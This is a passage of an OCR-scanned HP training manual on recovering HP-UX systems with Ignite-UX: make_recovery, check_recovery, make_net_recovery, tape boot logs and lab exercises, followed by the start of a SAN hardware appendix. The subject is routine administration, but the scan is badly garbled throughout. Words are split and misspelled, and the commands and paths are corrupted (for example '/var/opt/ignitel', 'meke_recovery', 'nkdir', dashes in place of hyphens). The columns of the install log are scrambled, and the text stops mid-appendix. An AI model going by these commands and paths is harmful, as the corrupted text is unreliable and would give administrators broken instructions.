/ scri pts can be included because it is not a mount point, and the / mount point is already
included in the recovery archive. Adding the files in the User Cor e OSsection of the file
also appends them to the check_r ecovery log.

/ cust omcan be included only if it is in the root volume group, or is included in the same
volume group as / usr, and a full recovery is specified.

/ hone is part of the root volume group, so some of its contents can be added to the archive.
This directory will not be verified with check_r ecovery.

Modification with ar ch. i ncl ude

The second way to modify the content of the recovery archive is to edit the archive list file:
ar ch. i ncl ude. The file will get created by first previewing the make_r ecover y; this will
allow you to then vi the file to remove some of its contents. Be very careful in this operation,
you don't want to accidentally remove critical system files.

Example:

meke_recovery -A -p Create a full recovery for the root volume group, preview
only. This allows for verification of the
makr ec. append.
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vi [/var/opt/ignitel/recovery/arch.include
Edit the archive list, removing what you
decide is unneeded.

make_recovery -r Resume the creation of the tape, using the modified
include list. No further checking is done by

make_r ecovery.
Example:

Previewing the creation of the recovery tape
# [opt/ignite/bin/mke recovery -A -p

*** Previewing only ***
Option -A specified. Entire Core Volunme Goup/disk will be backed

up.

kkhkkhkkhkhkkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhki*x

HP- UX Syst em Recovery
Val i dating append file
Done

File Systens on Core OS Di sks/ Vol une G oups:

vg name = vg00

pv_nane = /dev/dsk/clt6d0

vg0oo0 / dev/ vgO00/ | vol 3 /

vg0oo0 / dev/ vgO00/ | vol 4 / hone
vg0o0 / dev/ vg00/ 1 vol 5 / opt
vg0o0 / dev/vg00/ 1 vol 1 / stand
vg0o0 / dev/vg00/ | vol 6 /[t
vg0o0 / dev/vg00/ | vol 7 [ usr
vg0o0 / dev/vg00/ 1 vol 8 [ var

/opt is a nounted directory
It is in the Core Volunme G oup
Mount ed at /dev/vg00/Ilvol5

/var is a nmounted directory
It is in the Core Volunme G oup
Mount ed at /dev/vg00/Ivol 8

Destination = /dev/rnt/Om
Boot LIF location = /var/tnp/uxinstlf.recovery
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EIR R R IR S b S S S b S S S R S Rk I Sk Sk S I S I I I I S kS S 3 S Sk I

Preview only. Tape not created

The /var/opt/ignitel/recovery/arch.include file has been

creat ed.
This can be nodified to exclude known fil es.
Only delete files or directories that are strictly user
creat ed.
The creation of the System Recovery tape can then be
resunmed using the -r option.
No further checks will be perforned by the conmmands.
d eanup
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18-7. SLIDE: Steps after Creating nake recovery

T Steps after Creating nake recovery

Log Files

make_recovery [-Al[-C ‘

e/var/opt/ignite/logs/ makrec. | ogl

e/var/opt/ignitel/logs/ makrec. | og2

Student Notes

After you have created the archive on tape using make_r ecovery, there are a few things to
check. First the log files from the operation. The files:

[var/opt/ignite/logs/ makrec. | ogl
[var/opt/ignite/logs/ makrec.| og2

makr ec. | ogl

The makr ec. | ogl file will contain progress messages from the execution of the
make_r ecovery. Any errors encountered will be directed to this file. If for example the tape
is bad, you will have to go to the log file to see the error messages.

makrec. | og2

The makrec. | og2 file will contain the list of files and directories that were included in the
archive.
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18-8. SLIDE: System Recovery Options

System Recovery Options

Student Notes

Uses for make_recovery

The make_r ecovery tool will create a tape that can be used to perform a non-interactive
recovery or Ignite-UX installation of your system. Data stored in the archive (created by
make_r ecovery) can be used for the following:

Non-interactive Recovery:

¢ Restore a non-bootable system with little or no intervention.
¢ Restore a system in the event of a root disk (volume group) failure.

Interactive Recovery:

»  Convert file systems in the root volume from hf s to vxf s (logical volumes).

e Modify the root file system size (logical volume).

« Modify the size of primary swap (logical volume).

« Clone software from one system to another (requires nearly identical hardware).
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WARNING: If you interact with the restore process performed by the
nmake recovery tape, you will NOT have your system
configuration completely restored! This will require additional
time to re-create some of the configurations.

* see the warnings in the example recovery dialog along with the next slide

Cloning: Cloning a system requires the same bus and I/O architecture for a full recovery.
Recovery is possible on a different system, but some items will need to be
reconfigured. Items that may be issues (ay prevent booting):

» J/etc/fstab

» /etc/lvntab

* network configuration

« /etc/ioconfig

e primary/alternate boot paths in stable storage

You may need to initially boot the system into single-user mode, or LVM maintenance mode to
recover completely after an interactive restore. Once in the single-user mode, you'll have an
opportunity to make configuration changes to the system and then reboot as normal.
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18-9. SLIDE: Customizing the Recovery Configuration

Customizing the Recovery Configuration

‘make_recovery -p [-Al ‘

# vi /var/opt/ignite/recovery/config.recover
(@ D

System
Configuration
Information

make_recovery -r [-(C ‘

Student Notes

When make_r ecovery creates the “system recovery boot tape”, it writes the system’s
configuration to the tape so the exact same configuration will be restored during a recovery.
Information written to the tape about the system’s configuration includes:

e The size of the logical volumes in / dev/ vg00.
¢ The type of file systems (HF'S or JFS) for the OS related file systems, including r oot ,
fusr,and/ var.

One potential use of make_r ecovery is to change the file system type of the root file system
from HFS to JF'S, or to increase the size of the root logical volume. Both of these tasks
historically could not be performed easily on HP-UX.

There are two ways the above tasks can be accomplished with the make_r ecovery tape:

1. Create a make_r ecovery tape, and then perform an interactive restore, changing the size
or type of the root file system during the interaction. This has the disadvantage of NOT
restoring all the configuration files (as mention in the previous slide).
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2. Create amake_recovery tape, and during the creation of the tape, modify the file
containing the system’s configuration before the file is written to the make_r ecovery
tape. This has the advantage of allowing a NON-interactive restore and therefore all the
configuration files are restored during the recovery process.

The procedure for modifying the system’s configuration file during the make_r ecovery
process is shown on the slide. The key is to pause and preview the make_r ecovery files
before they are written to the tape. This is done with the —p option.

# make_recovery -A -p

Next the system’s configuration is modified by editing the conf i g. r ecover file and
changing the root file system size and/or type.

# vi [/var/opt/ignite/recovery/config.recover

Once the configuration file has been modified, resume the make recovery with the —r
option.

# make_recovery -r
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18-10. SLIDE: Booting the Recovery Tape

~ Booting the Recovery Tape

Power up the system
Interrupt the boot

Load the recovery tape
Search for bootable devices
Boot from the recovery tape

O O0oo0ogao

Automatic or interactive restore

Student Notes

The tape created by make_r ecovery is called the syst em recovery_boot t ape. This
tape is really an Ignite-UX custom installation medium. This tape can be used to boot your
system and re-install the created image automatically, or you can interact to customize the
installation of the system.

To recover a non-bootable system:

1. Power up the system

2. Interrupt the boot

3. Load the recovery tape into the tape drive

4. Search for bootable devices

5. Boot from the recovery tape

6. Let the system recover automatically, or
interact to customize the installation
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Searching for Bootable Devices

How you proceed here depends entirely on your system and PDC version. Most new HP
systems have a boot interface menu. To access the interface menu you'll need to interrupt the
boot process. Pressing the SPACE bar is sufficient for this. Once you interrupt the boot, you'll
want to execute the search command to find bootable devices (unless you remember the
hardware path to the tape drive).

Example: Booting from the Recovery Tape

(Ignite-UX recovery for a D-220, tape was created using make_recovery -A)
...Power up sequence...

Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

<key press>

Boot terminated.

-—— Main Menu

Command Description

Boot [PRI | ALT | <path>] Boot from specified path

Path [PRII| ALT | CON | KEY] [<path>] Display or modify a path

SEArch [Display | IPL] [<path>] Search for boot devices

Configuration [<command>| Access Configuration menu/commands
Information [<command>] Access Information menu/commands
SERvice [<command:>] Access Service menu/commands
Display Redisplay the current menu

Help [<menu>l<command>] Display help for menu or command
RESET Restart the system

Main Menu: Enter command > sea i pl (Search for possible boot devices)

Searching for device(s) with bootable media ...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).

Path Number Device Path (dec) Device Type and Utilities
PO 8/16/5.6 Random access media IPL
P1 8/16/5.5 Random access media IPL
P2 8/16/5.0 Sequential access media IPL
P3 8/16/6.0 LAN Module
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Main Menu: Enter command > boot  p2
Interact with IPL (Y, N, or Cancel)?> n

Booting ...
Boot IO Dependent Code (IODC) revision 144

SOFT Booted.
ISL Revision A.00.38 OCT 26, 1994

ISL booting hpux (;0):INSTALL

Boot
: tape(8/16/5.0.0.0.0.0;0):INSTALL

.....(all of the rest of the boot messages...)

======= (06/22/98 15:31:20 EDT HP-UX Installation Initialization.
(Mon Jun 22 15:31:20 EDT 1998)

@#) lgnite-UX Revision 1.45
@#) install/init (opt) $Revision: 10.133 $

* ElI SA configuration has conpleted. Followi ng the conpletion of a
successful HP-UX installation, please check the

"/etc/eisalconfig.err” file for any ElI SA configuration nmessages.

* Scanning system for 10O devices...

Warni ng: The configuration information calls for a non-interactive
installation.

Press <Return> within 10 seconds to cancel batch-nbde installation:

* Using client directory: /var/opt/ignite/clients/0x0060B0OA37808
* Checking configuration for consistency...

Warni ng: The disk at: 8/16/5.6.0 (SEAGATE ST34572N) appears to contain a
file systemand boot area. Continuing the installation will destroy any
exi sting data on this disk.

Press <Return> within 10 seconds to cancel batch-nopde installation:

* Continuing despite above warnings.
* Attenpting a non-interactive installation.

======= (06/22/98 15:32:11 EDT Starting system configuration...

* Configure_Disks: Begin

* WIIl install B.11.00 onto this system

* Creating LVM physical volunme "/dev/rdsk/clt6d0" (8/16/5.6.0).
* Creating volunme group "vg00".

* Creating |logical volune "vg00/Ivol 1" (/stand).

http://feducation.hp.com 18-23 H3045S C.00
0 2000 Hewlett-Packard Company



Module 18
System Recovery with Ignite-UX

L I T N . S N R N N N N N T R

*

*

X
X

(extraction of the rest of the essential

* Xk X X X

Creati
Creati
Creati
Creati
Creati
Creati
Creati
Ext end
Ext end
Ext end
Ext end
Ext end
Ext end
Ext end
Ext end
Maki ng
Maki ng
Maki ng
Maki ng
Maki ng
Maki ng
Maki ng

ng
ng
ng
ng
ng
ng
ng
i ng
i ng
i ng
i ng
i ng
i ng
i ng
i ng

HFS fil esystem for

| ogi cal volume "vg
| ogi cal vol une "vg
| ogi cal vol une "vg
| ogi cal volume "vg
| ogi cal volume "vg
| ogi cal volume "vg
| ogi cal vol une "vg

| ogi
| ogi
| ogi
| ogi
| ogi
| ogi
| ogi
| ogi

cal volunme "v
cal volunme "v
cal volume "v
cal volunme "v
cal volunme "v
cal volunme "v
cal volunme "v
cal volunme "v

VXFS fil esystem for
VXFS fil esystem for
VXFS fil esystem for
VXFS fil esystem for
VXFS fil esystem for
VXFS fil esystem for
Setting rotational delay to

Configure_Di sks: Conpl ete
Downl oad_m ni -system  Beg
./ sbin/fs/hfs/nkfs, 237568
./sbin/fs/hfs/newfs, 114688

Downl oad_mi ni -system  Conp
Loadi ng_software: Begin

Installing boot area on di sk.
Enabl i ng swap areas.
Backi ng up LVM configuration for "vg00".
Processing the archive source (recovery).
Mon Jun 22 15:36:03 EDT 1998: Starting archive |oad of the source

(Recovery Archive).

"/ stand",

00/1vol 2" (swap_dunp).
00/ 1vol 3" (/).
00/ 1 vol 4" (/hone).
00/1vol 5" (/opt).
00/1vol 6" (/tmp).
00/1vol 7" (/usr).
00/ 1 vol 8" (/var).
g00/1vol 1" (/stand).
g00/ 1 vol 2" (swap_dunp).
g00/1vol 3" (/).
g00/ 1 vol 4" (/ hone).
g00/ | vol 5" (/opt).
g00/ | vol 6" (/tmp).
g00/ 1 vol 7* (/usr).
g00/ 1 vol 8" (/var).

“/", (/dev/vg00/rlvol 3).

(/dev/vg00/rlvol1).

"/ hone", (/dev/vg00/rlvol4).
"/fopt", (/dev/vgQO/rlvol5).
"/tnp", (/dev/vgO0O0/rlvol6).
"fusr", (/dev/vg0O0/rlvol7).
“/fvar", (/dev/vg00/rlvol 8).

0 for "/stand".

n
bytes, 464 tape bl ocks
bytes, 224 tape bl ocks

lete

* Positioning the tape (/dev/rm/0m).
* Archive extraction fromtape is beginning. Please wait.

* Mon Jun 22 16:00: 56 EDT 1998: Conpl eted archive | oad of the source
(Recovery Archive).

* Executing user specified script:

"/opt/ignitel/datal/scripts/os_arch_post_|

Running in recovery node.

NOTE:
NOTE:

Coul d not save /etc/resolv.conf from archive:
Coul d not save /etc/eisalsystemsc

* Running the ioinit command ("/sbin/ioinit -c")

NOTE:
NOTE:

*
*
*
*
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tlinstall is search
Successful ly conpl et ed

Setting primary boot path to "8/ 16/5.6.0".
Executi ng user specified comuands.

Loadi ng_software: Conplete
Bui | d_Ker nel :

Begi n

rebuild tools...)

file not found
fromarchive: file not found

ng filesystem- please be patient
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NOTE: Since the /stand/vmuni x kernel is already in place, the kernel
will not be re-built. Note that no nod_kernel directives will be
processed.

* Build_Kernel: Conplete

* Boot _From Client_Disk: Begin

* Rebooti ng machi ne as expect ed.

NOTE: Rebooti ng system

Running the ioinit conmand ("/sbin/ioinit -c")
Boot _From dient _Disk: Conplete

Run_SD Configure_Scripts: Begin

Run_SD Configure_Scripts: Conplete
Run_Postconfigure_Scripts: Begin

Appl yi ng the networking infornmation.
Executing user specified script:
"/opt/ignite/datal/scripts/os_arch_post_c".
* Running in recovery node.

* Run_Postconfigure_Scripts: Conplete

E I T B

======= (06/22/98 16:03:36 EDT Installation conplete: Successful
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Example: Booting from the Recovery Tape (Custom Installation)

Processor is booting from first available device.
To discontinue, press any key within 10 seconds.

Boot terminated.

-—— Main Menu
Command Description
Boot [PRI | ALT | <path>] Boot from specified path
Path [PRII| ALT | CON | KEY] [<path>] Display or modify a path
SEArch [Display | IPL] [<path>] Search for boot devices
Configuration [<command>| Access Configuration menu/commands
Information [<command>] Access Information menu/commands
SERvice [<command>] Access Service menu/commands
Display Redisplay the current menu
Help [<menu>l<command>] Display help for menu or command
RESET Restart the system

Main Menu: Enter command > sea i pl (Search for possible boot devices)

Searching for device(s) with bootable media ...
This may take several minutes.

To discontinue search, press any key (termination may not be immediate).

Path Number Device Path (dec) Device Type and Utilities

PO 8/16/5.6 Random access media IPL
P1 8/16/5.5 Random access media IPL
P2 8/16/5.0 Sequential access media IPL
P3 8/16/6.0 LAN Module

Main Menu: Enter command > boot p2
Interact with IPL (Y, N, or Cancel)?> n

Booting ...

Boot IO Dependent Code (IODC) revision 144
SOFT Booted.

ISL Revision A.00.38 OCT 26, 1994

ISL booting hpux (;0):INSTALL
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Boot
: tape(8/16/5.0.0.0.0.0.0.0):INSTALL

.....(all the rest of the boot messages...)

Warning: The configuration information calls for a non-interactive installation.

Press <Return> within 10 seconds to cancel batch-mode installation:

<key press>

Really cancel non-interactive install and start the user interface? ([y}J/n): Y

NOTE: The System Recovery mode has been disabled due to user intervention,
or differences in system configuration. Some original system
parameters (like IO configuration, / et ¢/ f st ab, etc.) will not be
restored due to this. The system specific configuration of hostname,

IP address, root password, date, time, network configuration, etc., can
be configured via the system screens of the advanced user interface.

Press Return to continue:

(Ignite-UX installation interface will follow...)

http://feducation.hp.com 18-27 H3045S C.00
0 2000 Hewlett-Packard Company



Module 18
System Recovery with Ignite-UX

18-11. SLIDE: The check _recovery Command

~ The check _recovery Command

Log Files

/var/opt/ignite/recovery/makrec.last

Core
System
Files

®
# make recovery -C

Student Notes

As we have seen, the make_r ecovery command can save the system image to tape. This
image is perhaps changing daily; so how often do we need to create the
systemrecovery_ boot tape? In order to have a successful recovery, the

system recovery_boot _t ape must be kept up to date.

The command check _recovery combined with an additional option to make_r ecovery

can help us to determine if sufficient change has taken place to warrant the creation of a new
recovery tape.

check_recovery examines the System Recovery status file (can be created during the
invocation of make_r ecover y) to determine if a new recovery tape is needed. Only the files
categorized as Core OS and User Core OS (maker ec. append) are evaluated bye

check _recovery.

check_r ecovery will detect the following discrepancies:

* Additions to the system after the last nake_r ecovery.
¢ Deletions from the system.
* Modifications (using the file modification time) of the objects.
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The files examined by check_r ecovery are:

e /var/opt/ignite/recovery/ makrec. | ast
e J/var/opt/ignitel/recovery/chkrec.include

Example:

# make_recovery -C

(- C creates the files needed for check_r ecover . It can be combined with most other
options of make_r ecovery)
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18-12. LAB: System Recovery Boot Tape

Directions

In this lab you will create a recovery boot tape. This lab requires the use of a DAT tape drive
with a tape loaded and ready.

1. Run make_recovery in preview mode to create a file called
/var/opt/ignite/recovery/arch.include

2. Examine the file / var/ opt /i gni te/ recovery/ arch. i ncl ude to see which files will
be included in your recovery tape. Count the number of files that will be included:

Rename the ar ch. i ncl ude file to arch. ol d

3. Run nake_recovery in preview mode to create a new
/var/opt/ignite/recovery/arch.include. This time specify that you want to
include the entire root volume group.

4. Examine the file /var/ opt/i gni t e/ recovery/ arch. i ncl ude to see which files will
be included in your recovery tape. Count the number of files that will be included:

Compare this to the number of files listed in / var / opt /i gni te/ arch. ol d

5. Edit/var/opt/ignitel/recovery/arch.include. Remove any files you don't want
included on your recovery tape. In an effort to save time and tape, it is strongly suggested

H3045S C.00 18-30 http://education.hp.com
0 2000 Hewlett-Packard Company



Module 18
Recovering a System with the Support CD

that you remove any depot files from the list.

6. Restart nake_recovery. If you would like to run check_r ecover y later be sure to
include the - C option. The - Cwill increase the make_r ecovery time significantly.

7. Boot your system using the recovery tape. If you would like to do your restore onto a disk
other than your primary boot disk, then interrupt the recovery process and specify the
appropriate disk.
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18-13. SLIDE: The nake _net recovery Tool

The make _net recovery Tool

Centralized control over many systems

Ignite-UX
Recovery Server

Recovery archives and configuration
stored on IUX server

Backup and Recovery can be initiated
from the Server or the Client

Eliminates having to managed multiple
tapes per system

=

Student Notes

While the nake_r ecover y command has proved useful to many customers, it does have
room for improvement. Some of the most common improvement requests include:

* The desire to make up files from volume groups other than / dev/ vg0O.
¢ The desire to create and monitor the backup of multiple systems at a time.
¢ The desire to backup to a medium other than tape.

The issue of backing up to tape is of special concern to customers with large numbers of
workstations to maintain. Specific concerns related to tape are:

* Tapes are prone to failures and are costly.
* Backing up to tape requires a tape drive to be on each system; or to manually move a tape

drive to each system when performing a backup.
For a large number of client systems, it becomes difficult to handle tapes for each system,

especially when multiple revisions of the backup are kept.

To solve these issues, the make_net _r ecovery tool was created.
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18-14. SLIDE: Recovery from the Ignite Server (GUI)

Recovery from the Ignite Server (GUI)

File View Options Actions Help

Yiew Install History...
Boot Client... @ IGNITE UX
LB EE IR S egiidiNew Client for Recovery 1 of 1 selected
T é Client Status...
T Install Client
Stop Install... @

Harh

Change Icon Name...

Student Notes

With the make_net _recovery tool, an image of a client’s file systems (including files from
outside the / dev/ vg00 volume group) can be archived to the disks of the Ignite-UX server.

The make_net recovery archive can be created from the client or from the Ignite-UX
server. To initiate the creation of the archive from the Ignite-UX server, enter the Ignite-UX
GUI with the i gni t € command. From within the Ignite-UX GUI, perform the following to
steps:

1. Add New Cient for Recovery... This adds a client icon to the Installation Client
window. Once the client icon is created, highlight the client icon and perform step 2.

2. Create System Recovery Archive. This causes a number of screens to display
related to the creation of the client archive on the Ignite-UX server. Among the different
screens is one that allows the specification of which files are to be included in the client
archive (see next page).
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18-15. SLIDE: Selecting Files for the Client Archive

Selecting Files for the Client Archive

Archive Content List

include

athname :

; (optional)

< Back Finish Cancel

Student Notes

The above slide shows the screen for specifying which files to include in the client archive.

One difference between make_r ecovery and make_net _recovery is
make_net recovery supports the inclusion of files from volume groups other than

/ dev/ vg0o0.

The example on the slide shows the entire vg00 volume group being specified.
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18-16. SLIDE: Monitoring Creation of Client Archive

—
Monitoring Creation of Client Archive
I
¢ Clients can be monitored from the central Ignite-UX server
¢ Detailed log file is available for each client on the IUX server
File View Options Actions Help
View Install History... System 1D: burma
o IGNITE UX| Configuration: 2000-01-14,19:01 Recovery
Installation Clients ;dd New Client for Recovery... 10of 1selected
Eunlutmial/ServEl Setup.. e COMPLETE  Prepare the Client
<l Clint Status... S \‘\“‘A COMPLETE Run the Recovery UI
Install Client ~
Stop Instal. COMPLETE Save the System Configuration
Create System Recavery Archive Lo0r Build the Archive
Prepare Archive Config File
Update the CINDEX File
l‘:‘har.l.ge I.\:un Name... ‘s Build the Archive |
View Logfile...
oK Help

Student Notes

One advantage of initiating the creation of the client archives from the Ignite server is the
ability to monitor multiple client archive creations from a single display. Potentially, hundreds
of client archives can be created in parallel and monitored, without ever having to leave the

Ignite-UX server’s display.

Detailed status of an individual client archive can also be obtain from the GUI by highlighting
the client icon and selecting Cl i ent St at us.. from the Act i on pulldown menu.
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18-17. SLIDE: Using make net recovery on the Client

Using nake _net recovery on the Client

Ignite-UX
Recovery Server
¢ Backups can be initiated from the client
¢ New options to specify data to archive
¢ Can archive more than just/ dev/ vg00
¢ Backups can be automated through cr on

# make_net_recovery -s | UX _server_nane \
-x inc_entire=vg00 \
-x inc_entire=vg0l \
-x excl ude=/ depot s

Ignite-UX Recovery Client

Student Notes

In addition to being able to initiate the creation of a client archive from the Ignite-UX server,
the creation of the archive can also be initiated on the client itself.

A command line executable (nake_net _r ecovery) is available so the client can locally
initiate the creation of the archive. This allows the client to determine when a new archive is
needed, rather than having the server initiating new archives periodically even though they
may not be necessary.

The syntax of the make_net recovery command is quite different from that of
make_recovery command. New options include:

* The ability to specify on which Ignite-UX server to create the archive (- s option).
e The ability to selectively exclude (- X option) files and subdirectories from a specified
directory.

The above example on the slide shows the entire vg00 and vg01 volume groups being
archived, excluding the files in the / depot s directory.
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18-18. SLIDE: Using the Archive to Recover a Client

Using the Archive to Recover a Client

To recover a failed disk or volume group using the system recovery archive:

Boot the system

¢ Do not interact with ISL

e Select: [ Install HP-UX ]

¢  From the Ignite-UX Server GUI: select the icon for the client

e  Choose "Install/New Install"

e Select the recovery configuration to use

Student Notes

The procedure to recover a failed system using the system recovery archive is shown on the

slide:

1. Boot the client system.

2. During the boot, interrupt the session and boot to the Ignite-UX server. Choose to NOT
interact with the ISL.

3. From the Installation and Recovery menu, select “Install HP-UX”.

4. Once the client boots to the Ignite-UX server, an icon for the client will appear in the
Ignite-UX server GUI. Highlight the client icon.

5. Once the client icon has been highlighted, select from the action menu,
Install/New Install.

6. From this window, the selection of an archive to restore can be selected. Selected the
desired archive file, then click OK.
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The restoration of the client archive will begin. Allow restoration to continue until
completion.
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18-20. LAB: Performing nake net recovery

Directions

In this lab you will create a recovery archive for a client on the Ignite-UX server. This lab
requires 2 GB of disk space to be available on the Ignite-UX server.

1. Create a file system on the Ignite server to hold the client archives.

# lvcreate —L 900 —n archives /dev/vg00

# newfs —F vxfs /dev/vg00/rarchives

# nkdir /var/opt/ignitel/recovery/archives

# mount /dev/vg00/archives /var/opt/ignitel/recovery/archives

2. Run the Ignite-UX GUI on the server:
# ignite

A message will appear that no clients were found. Click OK to continue.

A message about how to run the tutorial will appear, click OK to continue. Click OK at the
Welcome screen.

3. From the Installation Client screen, select Acti ons -> Add New Client for
Recovery. Enter the client hostname when prompted.

A message will prompt for the root password of the client. Enter the client’s root
password when prompted.

A message will display that a new client was found. Click OK to continue. After another
informational message, click OK to continue.

4. Once an icon appears for the client in the Installation Client window, select Acti ons - >
Create System Recovery Archive. A window will appear explaining the recovery
archive process. After reading the explanation, click Next to continue.

Several more informational screens will appear. After reading each screen, click Next to
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continue. On the last informational screen, click Finish.

5. Next, a prompt will appear asking whether to create a network recovery archive now.
Click on Yes.

A prompt will appear asking for the root password again. Enter the client’s root password.

It may take several minutes for the Ignite software to be loaded onto the client. This is a
one time hit. The next time an archive is created on the client, the Ignite software will
already be there.

6. Eventually, a window will appear where the Network Recovery Wizard will run. Supply
information when prompted for the Destination Host, Destination Directory, Max Number
of Archives, and Description. All the defaults should be OK to accept. Once finished, click
Next to continue.

After another informational message, click OK to continue.

7. Next, the screen for specifying which files are included in the archive is displayed. Include
the entire vg00 volume group.

Click on Finish.

8. At this point, the creation of the archive will commence. Monitor the status by double-
clicking on the client icon and viewing the logfile. It may take a while (30-40 minute) to
create the archive on the Ignite server.
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Appendix A — SureStore E Disk Array XP256 -
SAN Overview

Objectives
Upon completion of this module, you will:

e Be familiar with the Storage Area Network (SAN) as a solution to requirements of the
new business environment.
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Appendix A
SAN Overview

A-1. SLIDE: SANs - Moving to a New Model

~ SANSs - Moving to a New Model
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Student Notes

The traditional methods of data storage and retrieval are becoming obsolete with the ever-
increasing demands of our users. Gone are the days where JBODs and software alone could
meet storage needs. Multi-gigabyte storage requirements and high availability (HA) setups
are just two of the reasons for this transition. Just as printers have moved to a network-
based model to make resource sharing more efficient, so too has storage evolved.

The Storage Area Network (SAN) is the solution to many of the requirements of the new
business environment. The multi-system, multi-access nature of the SAN makes it ideal for
large-scale data storage and warehousing.
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SAN Overview

A-2. SLIDE: HP’s Architectural Vision

— HP’s Architectural Vision
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Student Notes

A complete enterprise storage solution requires five elements:

1. Networking

2. Servers

3. Integrated management
4. Storage devices

5. SANs to hook it together

HP's approach to SANs is the HP Equation - a total solution encompassing all five elements.
The differential between HP Equation and other solutions is the HP commitment to the Open-
SAN. The Open-SAN is a way to share the different types of storage resources among the

myriad of server platforms available today.

HP Equation supports two types of SANs: native fabric (also referred to as Fabric Logon or
FL) and Emulated Private Loop (EPL) or Fibre Channel Arbitrated Loops (FC-AL). The hosts
require a specialized interface card to take full advantage of the properties of a FL. SAN. EPL

and FC-AL are implemented to support existing FC interfaces.
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SAN Overview

A-3. SLIDE: HP’s SureSpan Components

— HP’s SureSpan Components

SureStore E Bridge FC 4/2
Formerly called “SCSI Mux”

SureStore E Hub S10, L10
Short and Long wave Hubs

SureStore E Switch F16
Short and Long wave GBICs
G Ports for Switch to Switch

Student Notes
There are 4 key components to the SureSpan - HP’s SAN product line:

1. Bridges

2. Hubs

3. Switches

4. Storage Management

Storage management will be covered in later modules.

Bridge FC 4/2

The first component is the Bridge FC 4/2 (4 SCSI ports/2 FC ports) which has been released
for some time. The main function of the Bridge in the HP Equation architecture is to convert
the SCSI connections from our storage devices to faster (and more easily shared) FC
connections. In general, the Hub and the Switch are used to extend a SAN; the Bridge
actually establishes it by connecting the storage devices to the network.

A feature of the Bridge FC 4/2 is that the unit can function as two separate devices. A static
mode allows the Bridge to associate FC Port A with SCSI Ports 0 & 1 and FC Port B with
SCSI Ports 2 & 3. The Bridge must have cards plugged into the proper slots to take advantage
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of this feature. Be careful - you are still sharing resources inside the Bridge and that could
cause confusion when cabling up the unit.

* Characteristics

1. 2 ports FC (100MB/sec)

2. 4 ports FWSCSI

3. Split mode - associate each FC port with 1 or 2 SCSI ports
* Rules

1. Can be used in all configurations.

¢ Direct connect
¢ Hub or Switch environments
* Mixed (Hub and Switch) environments

2. Both FC ports can be used to single servers or multiple servers.
3. Cannot connect the FC ports together or to the same Hub.

4. FC4/2 SCSI ports cannot be connected to,

¢ Server SCSI ports
¢ Another FC4/2 SCSI port
¢ One of the other 3 SCSI ports on the FC4/2

5. Disks and Tapes are both supported on the FC4/2 but cannot be connected to the
same FC4/2

Hub S10/L10

The Hub S10/L10 pre-dates HP Equation, but gains new power and perspective when
combined with the other SureSpan products as we will see in the configuration section.

The terms short wave and long wave refer to the type of connection available on a Hub.
Short wave ports are for connecting a Hub to servers or FC devices. These connections have

a maximum length of 500 meters. Long wave ports only connect to other long wave ports (i.e.
hub-to-hub connections) and max out at 10 kilometers.

* Characteristics
1. S10: 10 short wave ports
2. L10: 9 short wave ports, 1 long wave port
* Rules
1. Can be used standalone or with Switch and/or Bridge configurations

2. Maximum of 2 Hubs per loop
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3. Maximum of 1 connection between Hubs

4. Can connect up to the maximum number of ports available
* Single Hub, 10 ports
* C(Cascaded (2 Hubs L10), 18 ports
Switch F16

The Switch F16 is a new product designed specifically for SureSpan. The switch is an
integral part of HP Equation, supporting the existing EPL mode and Fabric Logons, both of
which make the SAN possible.

There are 16 ports of non-blocking switching capability resulting in up to S00MB/sec
aggregate end-to-end throughput from this device.

The Switch F16 supports two types of expansion port modules: FL ports, for SAN Fabric
Logons (but can also support EPL Mode), and G ports, for connections to devices (F Port
mode) and other Switches (E Port mode). Early versions of the G port modules only

operated in one mode or the other, but newer modules can auto-sense the type of connection
and configure themselves accordingly.

* Characteristics

1. 16 FC ports

2. Short or long wave gigabyte interface card (GBIC) available per port
* Rules

1. Can be used standalone or with Hub and/or Bridge configurations

2. Maximum of 32 connections per Switch or switch pair (cascaded)

3. Maximum of two Switches cascaded together
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A-4. SLIDE: Simple Configurations

— Simple Configurations -

Standalone SAN Components —_—
Hub Switch Bridge 4/2
|
. }80%8525 Egr Hub max. . ig(})ﬁigg EEI port i 53?5 gggv SCSI

* Must add additional Hubs to e Performance scales by 65MB/sec per Bridge max.
get performance scaling connecting additional Can connect Servers

e Can connect Servers ports up to S00MB/sec & SCSI Devices
& FC Devices e Can connect Servers ¢ 60 Devices Max

* 66 Devices Max. & FC Devices (15 per bus, 4 SCSI buses)

e 32 Devices Max.

Student Notes

This side by side comparison highlights a few of the major differences between the different
types of devices.

The information covered so far is sufficient for configuring a single device to support
multiple servers and storage devices. However, few user configurations are ever that easy, so
we need to talk about combined solutions.

Take note of the maximum device counts on each of the units above - this will heavily restrict
what we can do with the mixed solutions.
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A-5. SLIDE: Mixed Configurations

— Mixed Configurations
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Student Notes

The mixed configuration has multiple components involved but does not have any like
devices cascaded.

¢ Same rules for simple configurations apply

¢ A Bridge counts as one device connection

¢ Maximum of 2 Servers per Hub in Switched environments

¢ In Switch environments, the maximum number of connections is 32

*  Only use single connections between Hub/Bridge, Switch/Hub, or Switch/Bridge

¢ Hubs scale better for connectivity, Switch scales better for performance

¢ High Availability support with redundant components

¢ Distance support between Hubs, Switches or Hubs and Switches up to 10 km with cable
qualification.

e Maximum of one 10 km run in Hub and Switch configurations
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A-6. SLIDE: Cascaded Configurations

— Cascaded Configurations
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* performance through the cascaded switches will depend
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Student Notes

The 66-device configuration with a cascaded Hub setup could also be achieved with a
standalone Hub and six FC10 devices (rack-mounted JBODs). The FC10 is unique in the fact
that a fully loaded FC10 counts as 11 devices - 10 disks and the rack.

Performance numbers for the Switch are variable depending on the number of 100 MB/sec FC
connections between the two devices. The 800 MB/sec figure across the Switches assumes
that there are 8 connections between the two Switches.

The 18 connections on the cascaded Hubs comes from 10 connections on both Hubs with a
single connection (2 ports, one on each Hub) used to tie the Hubs together. Remember, only
the Hub L10s can be cascaded since Hub S10s do not support long wave ports.

The 28 connections on the cascaded Switches comes from the 16 connections on both of the
Switches with 2 connections (4 ports, two on each Switch) used to tie the Switches together.

Testing will continue to be run to increase the maximum number of hosts in all of these
environments.
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A-7. SLIDE: HP's Definition of Heterogeneous SANs

~ HP’s Definition of Heterogeneous SANs

Four Types of Heterogeneity

1. Connection of HP & non-HP servers to the SAN
2. Non HP SAN connections
3. Connection of multiple types of HP storage to the SAN

4. Connection of non-HP storage to the SAN

Student Notes
